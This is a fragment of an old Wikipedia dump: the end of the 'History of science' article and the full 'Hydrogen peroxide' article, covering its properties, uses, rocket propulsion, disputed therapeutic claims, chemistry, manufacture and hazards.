American sociology in the 1940s and 1950s was dominated largely by [[Talcott Parsons]], who argued that aspects of society that promoted structural integration were therefore &quot;functional&quot;. This [[structural functionalism]] approach was questioned in the 1960s, when sociologists came to see this approach as merely a justification for inequalities present in the status quo. In reaction, [[conflict theory]] was developed, which was based in part on the philosophies of [[Karl Marx]]. Conflict theorists saw society as an arena in which different groups compete for control over resources. Symbolic interactionism also came to be regarded as central to sociological thinking. [[Erving Goffman]] saw social interactions as a stage performance, with individuals preparing &quot;backstage&quot; and attempting to control their audience through [[impression management]]. While these theories are currently the prominent in sociological thought, other approaches exist, including [[feminist theory]], [[post-structuralism]], [[rational choice theory]], and [[postmodernism]].

====Anthropology====
{{main|History of anthropology}}

Anthropology can best be understood as an outgrowth of the [[Age of Enlightenment]]. It was during this period that Europeans attempted systematically to study human behavior. Traditions of jurisprudence, history, philology and sociology developed during this time and informed the development of the social sciences of which anthropology was a part. At the same time, the romantic reaction to the Enlightenment produced thinkers such as [[Johann Gottfried Herder]] and later [[Wilhelm Dilthey]] whose work formed the basis for the [[culture]] concept which is central to the discipline. Traditionally, much of the history of the subject was based on [[colonial]] encounters between Europe and the rest of the world, and much of 18th- and 19th-century anthropology is now classed as forms of [[scientific racism]]. During the late 19th-century, battles over the &quot;study of man&quot; took place between those of an &quot;anthropological&quot; persuasion (relying on [[anthropometry|anthropometrical]] techniques) and those of an &quot;ethnological&quot; persuasion (looking at cultures and traditions), and these distinctions became part of the later divide between [[physical anthropology]] and [[cultural anthropology]], the latter ushered in by the students of [[Franz Boas]]. In the mid-20th century, much of the methodologies of earlier anthropological and ethnographical study were reevaluated with an eye towards research ethics, while at the same time the scope of investigation has broadened far beyond the traditional study of &quot;primitive cultures&quot; (scientific practice itself is often an arena of anthropological study).

===Emerging disciplines===

During the 20th century, a number of interdisciplinary scientific fields have emerged. Three examples will be given here:

[[Communication studies]] combines [[animal communication]], [[information theory]], [[marketing]], [[public relations]], [[telecommunication]]s and other forms of communication.

[[Computer science]], built upon a foundation of [[theoretical linguistics]], [[discrete mathematics]], and [[electrical engineering]], studies the nature and limits of computation.  Subfields include [[computability]], [[Computational complexity theory|computational complexity]], [[database]] design, [[computer networking]], [[artificial intelligence]], and the design of [[computer hardware]].  Computer science provides much of the theoretical basis for [[software engineering]].

[[Materials science]] has its roots in [[metallurgy]], [[minerology]], and [[crystallography]]. It combines chemistry, physics, and several engineering disciplines.  The field studies metals, ceramics, plastics, [[semiconductors]], and [[composite material]]s.

==See also==
*[[History of science and technology]] (academic field of study)
*[[Philosophy]] and [[Logic]]
*[[Epistemology]] (branch of philosophy concerning the nature, origin and scope of knowledge)
*[[History of history]]
*[[Historiography]]
*[[Indian science]]
*[[Obsolete scientific theory]]
*[[Science studies]]
*[[List of timelines|Timelines]] of [[List of themed timelines#Science|science]] 
*[[List of famous experiments]]
*[[List of scientists]]
*[[List of Nobel laureates]]
*[[List of years in science]]

*Philosophy of science
**[[Imre Lakatos]]
**[[Naïve empiricism]]

==Notes==
{{fnb|1}}Alpher, Herman, and Gamow. ''[[Nature (journal)|Nature]]'' '''162''',774 (1948).

{{fnb|2}}[http://nobelprize.org/physics/laureates/1978/wilson-lecture.pdf Wilson's [[1978]] Nobel lecture]

{{fnb|3}}[http://www.nature.com/genomics/human/watson-crick/ James D. Watson and Francis H. Crick.  &quot;Letters to ''Nature'': Molecular structure of Nucleic Acid.&quot;  ''Nature'' '''171''', 737&amp;ndash;738 (1953).]

{{fnb|4}}[http://cwp.library.ucla.edu/Phase2/Wu,_Chien_Shiung@841234567.html C.S. Wu's contribution to the overthrow of the conservation of parity &amp;ndash; see also the CWP, below]

==References==
* [[Thomas S. Kuhn]] (1996). ''[[The Structure of Scientific Revolutions]]'' (3rd ed.). [[University of Chicago Press]]. ISBN 0226458075
* Howard Margolis (2002). ''It Started with Copernicus''. New York: [[McGraw-Hill]]. ISBN 0-07-138507-X
* [[Joseph Needham]]. ''Science and Civilisation in China''. Multiple volumes (1954&amp;ndash;2004).
* [[Bertrand Russell]] (1945). ''A History of Western Philosophy: And Its Connection with Political and Social Circumstances from the Earliest Times to the Present Day''. New York: [[Simon and Schuster]].
* [[Leonard C. Bruno]] (1989), ''The Landmarks of Science''. ISBN 0-8160-2137-6
* John L. Heilbron, ed., ''The Oxford companion to the history of modern science'' (New York: [[Oxford University Press]], 2003).

==External links==
*[http://www.worldwideschool.org/library/catalogs/bysubject-sci-history.html A History of Science, Vols 1&amp;ndash;4], online text
*[http://ocw.mit.edu/OcwWeb/Science--Technology--and-Society/STS-002Toward-the-Scientific-RevolutionFall2003/CourseHome/index.htm MIT STS.002 &amp;ndash; Toward the Scientific Revolution]. From MIT OpenCourseWare, class materials for the history of science up to and including [[Isaac Newton]].
*[http://ocw.mit.edu/OcwWeb/Science--Technology--and-Society/STS-042JEinstein--Oppenheimer--Feynman--Physics-in-the-20th-CenturyFall2002/CourseHome/index.htm MIT STS.042 &amp;ndash; Einstein, Oppenheimer, Feynman: Physics in the 20th Century]. Class materials for the history of physics in the 20th century.
*[http://cwp.library.ucla.edu/ Contributions of 20th century Women to Physics (&quot;CWP&quot;)]
*[http://nobelprize.org/ The official site of the Nobel Foundation]. Features biographies and info on Nobel laureates
*[http://www.imss.fi.it/ The Institute and Museum of the History of Science in Florence, Italy]
[[Category:History of science| ]]

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[[tl:Kasaysayan ng agham at teknolohiya]]
[[tr:Bilim ve teknoloji tarihi]]
[[zh:科学史]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrogen peroxide</title>
    <id>14403</id>
    <revision>
      <id>42128966</id>
      <timestamp>2006-03-04T00:33:12Z</timestamp>
      <contributor>
        <ip>86.17.156.251</ip>
      </contributor>
      <comment>/* Storage */  - it's -&gt; its</comment>
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{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090;&quot;

! {{chembox header}} | {{PAGENAME}}
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:{{PAGENAME}}.png|160px|{{PAGENAME}}]]
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| hydrogen peroxide
|-
| Other names
| hydrogen dioxide&lt;br/&gt;hydroperoxide
|-
| [[Chemical formula|Molecular formula]]
| H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;
|-
| [[Molar mass]]
| 34.01 g/mol
|-
| [[pH]]
| 4.5
|-
| Appearance
| clear liquid
|-
| [[CAS registry number|CAS number]]
| [7722-84-1]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 1.4 g/cm&lt;sup&gt;3&lt;/sup&gt;, liquid
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| [[Miscible|miscible]]
|-
&lt;!-- | Other solvents e.g. [[ethanol]], [[acetone]] --&gt;
&lt;!-- | solubility info on other solvents --&gt;
&lt;!-- |- --&gt;
| [[Melting point]]
| -11 °C (262 K) 
|-
| [[Boiling point]]
| 141 °C (414 K)
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;) 
| 11.65
|-
| [[Viscosity]]
| 1.245 c[[Poise|P]] at 20 °C
|-
! {{chembox header}} | Structure
|-
| [[Orbital_hybridisation#Molecule_shape|Molecular shape]]
| [[:Image:H2O2_structure.jpg|skewed]]
|-
| [[Dipole#Molecular_dipoles|Dipole moment]]
| 2.26 [[Debye|D]]
|-
! {{chembox header}} | Hazards 
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} chemdata supplement#Material Safety Data Sheet|External MSDS]]
|-
| [[Directive 67/548/EEC|EU classification]]
| Oxidant ('''O''')&lt;br/&gt;Corrosive ('''C''')
|-
| [[List of R-phrases|R-phrases]]
| {{R5}}, {{R8}}, {{R20}}/{{R22}}, {{R35}}
|-
| [[List of S-phrases|S-phrases]]
| {{S1}}/{{S2}}, {{S17}}, {{S26}},&lt;br/&gt;{{S28}}, {{S36}}/{{S37}}/{{S39}}, {{S45}}
|-
| [[NFPA 704]]
| [[Image:nfpa_h3.png]][[Image:nfpa_f0_ox.png]][[Image:nfpa_r1.png]]
|-
| [[Flash point]]
| not flammable
|-
| [[RTECS]] number
| MX0900000
|-
! {{chembox header}} | [[{{PAGENAME}} chemdata supplement|Supplementary data page]]
|-
| [[{{PAGENAME}} chemdata supplement#Structure and properties|Structure and&lt;br/&gt;properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|''&amp;epsilon;&lt;sub&gt;r&lt;/sub&gt;'']], etc. 
|-
| [[{{PAGENAME}} chemdata supplement#Thermodynamic properties|Thermodynamic&lt;br/&gt;data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas
|-
| [[{{PAGENAME}} chemdata supplement#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Other [[Ion|cation]]s
| [[sodium peroxide]]
|-
| Related [[peroxide]]s
| [[methyl peroxide]]&lt;br/&gt;[[hydrogen trioxide]]
|-
| Related compounds 
| [[water (molecule)|water]]&lt;br/&gt;[[oxygen]], [[ozone]]&lt;br/&gt;[[hydrazine]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25&amp;deg;C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}
'''Hydrogen peroxide''' ('''H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;''') is a clear liquid, slightly more viscous than water, that has strong [[oxidation|oxidizing]] properties and is therefore a powerful [[bleaching agent]] that has found use as a [[disinfectant]], as an [[oxidizer]], and in [[rocket]]ry (particularly in high concentrations as [[high-test peroxide]] (HTP) as a [[monopropellant]], and in [[bipropellant]] systems.
==Uses==
===Domestic uses===
It is commonly used (in very low concentrations, typically around 5%) to bleach human [[hair]], hence the phrases '''peroxide blonde''' and '''bottle blonde'''. It burns the skin upon contact in sufficient concentration.  In lower concentrations (3%), it is used medically for cleaning wounds and removing dead tissue. The [[Food and Drug Administration]] has approved 3% hydrogen peroxide (&quot;Food-Grade,&quot; or without added chemical stabilisers) for use as a mouthwash.  Commercial peroxide solutions (most H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; bought over the counter from pharmacies) are not suitable for ingestion as they contain  additional harmful chemicals.

Some gardeners and [[hydroponics]] implementers have professed the value of hydrogen peroxide in their watering solutions. They claim its spontaneous decomposition releases oxygen to the plant that can enhance root development and also help treat root rot, which is cellular root death due to lack of oxygen.

Commercial peroxide, as bought at the drugstore in a 2.5%-3% solution, can be used to remove bloodstains from carpets and clothing. If a few tablespoons of peroxide are poured onto the stain, they will bubble up in the area of the blood. After a few minutes the excess liquid can be wiped up with a cloth or paper towel and the stain will be gone.

====Storage====
Household hydrogen peroxide solutions are commonly found in concentrations of 3% solution. Because hydrogen peroxide decomposes in the presence of light, it should be stored in a cool environment out of direct sunlight. It should also be stored out of reach of children in a well-marked bottle, as ingestion of large amounts can cause gastrointestinal problems including burns, pain and vomiting. Hydrogen peroxide decomposes naturally into oxygen and water. This property means that caution must be taken when opening a bottle that has been stored for a long period of time. Be sure not to open an old bottle near a flame or spark.

Stronger solutions such as a 35% solution have been responsible for at least one death when ingested undiluted.

Hydrogen peroxide or its derivatives are also increasingly being used as a substitute for [[chlorine]]-based chemicals in household cleaners, laundry and dishwash detergents.

===Industrial applications===
About 50% of the world's production of hydrogen peroxide in 1994 was used for pulp- and paper-bleaching.  Other bleaching applications are becoming more important as hydrogen peroxide is seen as a more environmentally-benign alternative to [[chlorine]] based bleaches.  

Other major industrial applications for hydrogen peroxide include the manufacture of [[sodium percarbonate]] and [[sodium perborate]], used as mild bleaches in [[laundry]] [[detergent]]s.  In addition it is used in the production of certain [[organic peroxide]]s such as [[dibenzoyl peroxide]], used as [[free radical]] [[initiator]]s in [[Radical polymerization|polymerisation]] and other chemical processes.  Hydrogen peroxide is also used in the production of [[epoxide]]s such as [[propylene oxide]].  Reaction with [[carboxylic acid]]s produces a corresponding &quot;per-acid&quot;; for industrial use [[peracetic acid]] is prepared in this way from [[acetic acid]].  [[Meta-Chloroperoxybenzoic acid|MCPBA]], used extensively in the laboratory, is likewise prepared from ''meta''-chlorobenzoic acid.

===Use as propellant===
The use of H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; as a propellant takes advantage of the decomposition of 70-98+% concentration hydrogen peroxide into steam and oxygen.  The propellant is pumped into a reaction chamber where usually a metal (esp. silver or platinum) catalyst triggers decomposition, and the oxygen/steam that is produced is hot enough (&gt;600 °C) either to be used directly or to combust a fuel. As a [[monopropellant]] (not mixed with fuel), it produces a maximum [[specific impulse]] (''I''&lt;sub&gt;sp&lt;/sub&gt;) of 161 s (1.6 [[newton|kN]]·s/kg), which makes it a low-performance monopropellant. The famous Bell [[rocket pack]] used hydrogen peroxide monopropellant. When decomposed to burn a fuel as an oxidizer, specific impulses as high as 350 s (3.5 kN·s/kg) can be achieved, depending on the fuel. Peroxide was used very successfully as an oxidizer for the low-cost British launchers, [[Black Knight (rocket)|Black Knight]] and [[Black Arrow]].

Compared to [[hydrazine]], peroxide is much less toxic, but it is also much less powerful. Peroxide gives a slightly lower ''I''&lt;sub&gt;sp&lt;/sub&gt; than liquid oxygen, but is dense, storable, noncryogenic and can be more easily used to drive gas turbines to give high pressures. It also can be used for regenerative cooling of rocket engines.

In the 1940s and 1950s, the [[Hellmuth Walter|Walter]] [[gas turbine|turbine]] used hydrogen peroxide for use in [[submarine]]s while submerged; it was found to be too noisy and maintenance-demanding compared to the conventional [[diesel-electric]] power system. Some [[torpedo]]es used hydrogen peroxide as oxidizer or propellant, but this use has been discontinued by most [[navy|navies]] for safety reasons.  Hydrogen peroxide leaks were blamed for the sinkings of [[HMS Sidon (P259)|HMS ''Sidon'']] and the [[Russian submarine Kursk]]. It was discovered, for example, by the Japanese Navy in torpedo trials, that the concentration of H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; in right-angle bends in HTP pipework can often lead to explosions in submarines and torpedoes.

While its application as a monopropellant for large engines has waned, small thrusters for [[attitude control]] that run on hydrogen peroxide are still in use on some satellites, and provide benefits on the spacecraft, making it easier to throttle and safer loading and handling of fuel before launch (as compared to hydrazine monopropellant). However, hydrazine is a more popular monopropellent in spacecraft because of its higher [[specific impulse]] and lower rate of decomposition.

===Therapeutic use===
Hydrogen peroxide has been used as an [[antiseptic]] and anti-bacterial agent for many years. While its use has decreased in recent years due to the popularity of better-smelling and more readily-available over the counter products, it is still used by many hospitals, doctors and dentists in sterilising, cleaning and treating everything from floors to [[root-canal]] procedures.

Thirty-five percent food-grade hydrogen peroxide has been marketed under names such as ''Oxywater'' and ''H2O2'', with claims of medicinal or therapeutic value as &quot;hydrogen peroxide therapy.&quot; Advocates of the product claim that it can be diluted and used for &quot;hyper-oxygenation therapy&quot; to treat [[AIDS]], [[cancer]], and many other conditions; some also claim that information about these beneficial uses of peroxide have been suppressed by the medical and scientific communities. 

Recently, alternative medical practitioners have advocated administering doses of hydrogen peroxide intravenously in extremely low (less than one percent) concentrations for ''hydrogen peroxide therapy'' &amp;mdash; a controversial alternative medical treatment for cancer. However, according to the [[American Cancer Society]], &quot;there is no scientific evidence that hydrogen peroxide is a safe, effective or useful cancer treatment.&quot; They advise cancer patients to &quot;remain in the care of qualified doctors who use proven methods of treatment and approved clinical trials of promising new treatments.&quot; {{an|cancer}}

Another therapeutic use of hydrogen peroxide is to cure colds and flus. Some [[alternative medicine]] practitioners recommend inserting a few drops into each ear at the first sign of a cold. According to their claims, for most people, this will eliminate the cold virus at first attempt within a few hours, with stated 80% success rate. However the medical evidence of its efficacy is lacking. 

Hydrogen Peroxide is GRAS (Generally Recognised As Safe) as an antimicrobial agent, an oxidizing agent and more by the US [[FDA]] [http://a257.g.akamaitech.net/7/257/2422/04nov20031500/edocket.access.gpo.gov/cfr_2001/aprqtr/21cfr184.1366.htm].  Hydrogen Peroxide can also be used as a toothpaste when mixed with correct quantities of Baking Soda and Salt [http://www.fda.gov/bbs/topics/CONSUMER/CON00065.html].

== Physical properties ==
[[Image:H2O2_structure.png|500px|Structure of hydrogen peroxide]]

Hydrogen peroxide adopts a &quot;skewed&quot; shape, due to repulsion between the [[lone pair]]s on the oxygen atoms.  Despite the fact that the O-O bond is a single bond, the molecule has a remarkably high barrier to complete rotation of 29.45 [[Kilojoule|kJ]]/[[Mole_(chemistry)|mol]]; this is also caused by the lone-pair repulsion.
The [[Molecular geometry|bond angle]]s are affected greatly by [[hydrogen bonding]], which explains the difference between gaseous and crystalline forms; indeed a wide range of values is seen in crystals containing molecular H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;.

== Chemical properties ==
Hydrogen peroxide can decompose spontaneously into water and oxygen.  It usually 
acts as an [[Redox|oxidizing agent]], but there are many reactions where it acts as a [[Redox|reducing agent]], releasing oxygen as a by-product.  It also readily forms both inorganic and organic [[peroxide]]s.

===Decomposition===
Hydrogen peroxide often decomposes [[exothermic reaction|exothermic]]ally into [[water_(molecule)|water]] and [[oxygen]] gas [[Spontaneous_process | spontaneously]]:

:2 H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; &amp;rarr; 2 H&lt;sub&gt;2&lt;/sub&gt;O + O&lt;sub&gt;2&lt;/sub&gt; + Energy

This process is very favorable; it has a [[Standard enthalpy change of reaction|&amp;Delta;''H''&lt;sup&gt;&lt;s&gt;o&lt;/s&gt;&lt;/sup&gt;]] of &amp;minus;98.2 [[Kilojoule|kJ]]/[[Mole_(chemistry)|mol]] and a [[Gibbs free energy|&amp;Delta;''G''&lt;sup&gt;&lt;s&gt;o&lt;/s&gt;&lt;/sup&gt;]] of &amp;minus;119.2 kJ/mol.  The rate of decomposition is dependent on the temperature and concentration of the peroxide, as well as the [[pH]] and the presence of impurities and stabilizers. Hydrogen peroxide is incompatible with many substances that [[catalyse]] its decomposition, including most of the [[transition metals]] and their compounds. Common catalysts include [[manganese dioxide]], [[potassium permanganate]], and [[silver]].  The same reaction is catalysed by the [[enzyme]] [[catalase]], found in the [[liver]], whose main function in the body is the removal of toxic byproducts of [[metabolism]] and the reduction of [[oxidative stress]].  The decomposition occurs more rapidly in [[alkali]], so [[acid]] is often added as a stabilizer.

Spilling high concentration peroxide on a flammable substance can cause an immediate fire fueled by the oxygen released by the decomposing hydrogen peroxide. High-strength peroxide (also called high-test peroxide, or HTP) must be stored in a vented container to prevent the buildup of oxygen gas, which would otherwise lead to the eventual rupture of the container. Any container must be made of a [[:Wiktionary:compatible|compatible]] material such as [[PTFE]], [[polyethylene]] or [[aluminium]] (not [[stainless steel]]) and undergo a cleaning process ([[passivation]]) to remove all contamination prior to the introduction of peroxide. (Note that while compatible at room temperature, polyethylene can explode with peroxide in a fire.)

In the presence of certain catalysts, such as {{Iron}}&lt;sup&gt;2+&lt;/sup&gt; or {{Titanium}}&lt;sup&gt;3+&lt;/sup&gt;, the decomposition may take a different path, with free radicals such as HO&amp;middot; ([[hydroxyl]]) and HOO&amp;middot; being formed.  A combination of H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; and Fe&lt;sup&gt;2+&lt;/sup&gt; is known as [[Fenton's reagent]].

=== Redox reactions ===
In aqueous solution, hydrogen peroxide can oxidize or reduce a variety of inorganic ions.  When it acts as a reducing agent, [[oxygen]] gas is also produced.  In [[acid]] solution {{Iron}}&lt;sup&gt;2+&lt;/sup&gt; is oxidized to Fe&lt;sup&gt;3+&lt;/sup&gt;,

:2 Fe&lt;sup&gt;2+&lt;/sup&gt;([[Aqueous|aq]])  +  H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;  + 2 [[Hydronium|H&lt;sup&gt;+&lt;/sup&gt;]](aq)  &amp;rarr; 2 Fe&lt;sup&gt;3+&lt;/sup&gt;(aq)  +  2H&lt;sub&gt;2&lt;/sub&gt;O([[Liquid|l]])

and [[sulfite]] (SO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;) is oxidized to [[sulfate]] (SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;).  However, [[potassium permanganate]] is reduced to {{Manganese}}&lt;sup&gt;2+&lt;/sup&gt; by acidic H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;. Under [[alkaline]] conditions, however, some of these reactions reverse; Mn&lt;sup&gt;2+&lt;/sup&gt; is oxidized to Mn&lt;sup&gt;4+&lt;/sup&gt; (as [[Manganese(IV) oxide|MnO&lt;sub&gt;2&lt;/sub&gt;]]), yet Fe&lt;sup&gt;3+&lt;/sup&gt; is reduced to Fe&lt;sup&gt;2+&lt;/sup&gt;.

:2 Fe&lt;sup&gt;3+&lt;/sup&gt;  +  H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;  +  2 [[Hydroxide|OH&lt;sup&gt;&amp;minus;&lt;/sup&gt;]]  &amp;rarr;  2 Fe&lt;sup&gt;2+&lt;/sup&gt;  +  2 H&lt;sub&gt;2&lt;/sub&gt;O  +  [[Oxygen|O&lt;sub&gt;2&lt;/sub&gt;]]

Hydrogen peroxide is frequently used as an [[Redox|oxidising agent]] in organic chemistry.  One application is for the oxidation of [[thioether]]s to [[sulfoxide]]s.{{an|thioether}}  For example, [[methyl]] [[phenyl]] sulfide was oxidised to methyl phenyl sulfoxide in 99% yield in methanol in 18 hours (or 20 minutes using a [[Titanium(III) chloride|TiCl&lt;sub&gt;3&lt;/sub&gt;]] catalyst): 

:Ph-S-CH&lt;sub&gt;3&lt;/sub&gt;  +  H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;  &amp;rarr;  Ph-S(O)-CH&lt;sub&gt;3&lt;/sub&gt;  +  H&lt;sub&gt;2&lt;/sub&gt;O

Alkaline hydrogen peroxide is used for [[epoxidation]] of electron-deficient alkenes such as [[acrylic acid]]s, and also for oxidation of [[alkylborane]]s to [[alcohol]]s, the second step of [[hydroboration-oxidation]].

=== Formation of peroxide compounds ===
Hydrogen peroxide is a weak acid, and it can form [[hydroperoxide]] or [[peroxide]] [[salt]]s or derivatives of many metals.  For example, with aqueous solutions of [[chromic acid]] (CrO&lt;sub&gt;3&lt;/sub&gt;), it can form an unstable blue peroxide CrO(O&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;.  It can also produce peroxoanions by reaction with [[anion]]s; for example, reaction with [[borax]] leads to [[sodium perborate]], a bleach used in laundry detergents:

:[[Borax|Na&lt;sub&gt;2&lt;/sub&gt;B&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;7&lt;/sub&gt;]]  +  4 H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;  +  2 [[Sodium hydroxide|NaOH]]  &amp;rarr;  2 [[Sodium perborate|Na&lt;sub&gt;2&lt;/sub&gt;B&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;4&lt;/sub&gt;(OH)&lt;sub&gt;4&lt;/sub&gt;]]  +  H&lt;sub&gt;2&lt;/sub&gt;O

H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; converts [[carboxylic acid]]s (RCOOH) into peroxy acids (RCOOOH), which are themselves used as oxidizing agents.  Hydrogen peroxide reacts with [[acetone]] to form [[acetone peroxide]], and it interacts with [[ozone]] to form [[hydrogen trioxide]].    Reaction with [[urea]] produces [[carbamide peroxide]], used for whitening teeth.  An acid-base adduct with [[triphenylphosphine oxide]] is a useful &quot;carrier&quot; for H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; in some reactions.

=== Basicity ===
Hydrogen peroxide is a much weaker [[Base_(chemistry)|base]] than water, but it can still form adducts with very strong acids.  The [[superacid]] [[Hydrogen fluoride|HF]]/[[Antimony pentafluoride|SbF&lt;sub&gt;5&lt;/sub&gt;]] forms unstable compounds containing the (H&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;)&lt;sup&gt;+&lt;/sup&gt; ion.

== Manufacture ==
Hydrogen peroxide is manufactured today almost exclusively by the autoxidation of 2-ethyl-9,10-dihydroxyanthracene to 2-ethylanthraquinone and hydrogen peroxide using oxygen from the air.  The [[anthraquinone]] derivative is then [[Liquid-liquid extraction|extracted]] out and reduced back to the dihydroxy compound using [[hydrogen]] gas in the presence of a metal [[catalyst]].  The overall equation for the process is deceptively simple:

H&lt;sub&gt;2&lt;/sub&gt;  +  O&lt;sub&gt;2&lt;/sub&gt;  &amp;rarr;  H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;

However the economics of the process depend on effective recycling of the quinone and extraction solvents, and of the [[hydrogenation]] [[catalyst]].

Formerly inorganic processes were used, employing the [[electrolysis]] of an aqueous solution of [[sulfuric acid]] or [[acidic ammonium bisulfate]] (NH&lt;sub&gt;4&lt;/sub&gt;HSO&lt;sub&gt;4&lt;/sub&gt;), followed by [[hydrolysis]] of the peroxydisulfate ((SO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;)&lt;sup&gt;2&amp;minus;&lt;/sup&gt; which is formed.

In 1994, world production of H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; was around 1.9 million [[tonne]]s, most of which was at a concentration of 70% or less. In that year bulk 30% H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; sold for around US$0.54 per [[Kilogram|kg]], equivalent to US$1.50 per kg (US$0.68 per [[pound (mass)|lb]]) on a &quot;100% basis&quot;.

==Concentration==
Hydrogen peroxide works best as a propellant in extremely high concentrations. However, there are very few suppliers of high-purity hydrogen peroxide, and they are averse to selling to any but the largest institutions. As a result, amateurs wishing to use this for rocket fuel usually have to purchase 70% or lower-purity (most of the remaining 30% is water, and sometimes there are traces of stabilizing materials, such as tin), and increase its concentration themselves. Many try [[distillation]], but this is extremely dangerous with hydrogen peroxide; peroxide vapour can detonate at a temperature of about 70 &amp;deg;C.  A safer approach is [[sparging]], possibly followed by [[fractional freezing]], but, even when using this method, contaminants may still often cause explosions.

In the 1950s, high-test peroxide was more readily available, but because, of safety concerns, bulk manufacturers have since switched over to handling lower concentrations of H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt; whenever possible. Some amateur groups have expressed interest in manufacturing their own peroxide, for their use and for sale in small quantities to others.

== Hazards ==
Hydrogen peroxide vapour can detonate above 70&amp;deg;C, so it is critical to keep solutions and vapour cool. Distillation of hydrogen peroxide at normal pressures is highly dangerous. Hydrogen peroxide vapours can form sensitive contact explosives with hydrocarbons such as greases. Hazardous reactions ranging from ignition to explosion have been reported with [[alcohol]]s, [[ketone]]s, [[carboxylic acid]]s (particularly [[acetic acid]]), [[amine]]s and [[phosphorus]].

Hydrogen peroxide, if spilled on clothing (or other flammable materials), will preferentially evaporate water until the concentration reaches sufficient strength, then clothing will spontaneously ignite. Leather generally contains metal ions from the tanning process and will often catch fire quite quickly.

Concentrated hydrogen peroxide (&gt;50%) is corrosive, and even domestic-strength solutions can cause irritation to the eyes, [[mucous membrane]]s and skin. '''Swallowing hydrogen peroxide solutions is particularly dangerous, as decomposition in the stomach releases large quantities of gas (10 times the volume of a 3% solution) leading to internal bleeding.'''

'''severe pulmonary irritation by inhalation over 10%.'''


The [[IARC]] lists hydrogen peroxide in [[List of IARC Group 3 carcinogens|Group 3]]: ''not classifiable as to its carcinogenicity to humans''. One study on mice found an increase in cancers of the digestive system following ingestion of hydrogen peroxide, but other animal studies have proven inconclusive. Hydrogen peroxide is produced as a byproduct of oxygen metabolism, and virtually all organisms possess enzymes known as [[peroxidase]]s, which catalyse the decomposition of hydrogen peroxide to water and oxygen (''see [[#Decomposition|Decomposition]] above'').

A leak of [[high-test peroxide]] (85%-98% hydrogen peroxide) from a [[torpedo]] caused an [[Russian submarine Kursk explosion (2000)|explosion]] that sealed the fate of the [[Russian submarine Kursk]]. Also an earlier, very similar accident on [[HMS Sidon (P259)]] claimed 13 lives.
* [http://msds.fmc.com/msds/100000010225-MSDS_US-E.pdf MATERIAL SAFETY DATA SHEET]
* [http://www.atsdr.cdc.gov/tfactsx4.html ATSDR Agency for Toxic Substances and Disease Registry FAQ]

==External links==
* [http://www.tecaeromex.com Hydrogen Peroxide Distillation]
* http://www.h2o2.com 
* [http://www.erps.org Experimental Rocket Propulsion Society]
* [http://peswiki.com/energy/Directory:Hydrogen_Peroxide_as_Fuel Hydrogen Peroxide as fuel] ''PESWiki.com''
* [http://www.chem-world.com Shangyuchem, an oxygen company]
* [http://webbook.nist.gov/chemistry/ NIST Standard Reference Database]
* [http://www.compchemwiki.org/index.php?title=Hydrogen_peroxide Computational Chemistry Wiki]
* [http://ecb.jrc.it/ European Chemicals Bureau]
* [http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc01/icsc0164.htm International Chemical Safety Card 0164]
* [http://www.cdc.gov/niosh/npg/npgd0335.html NIOSH Pocket Guide to Chemical Hazards]
* [http://www.astronautix.com/props/h2o2.htm Astronautix.com]
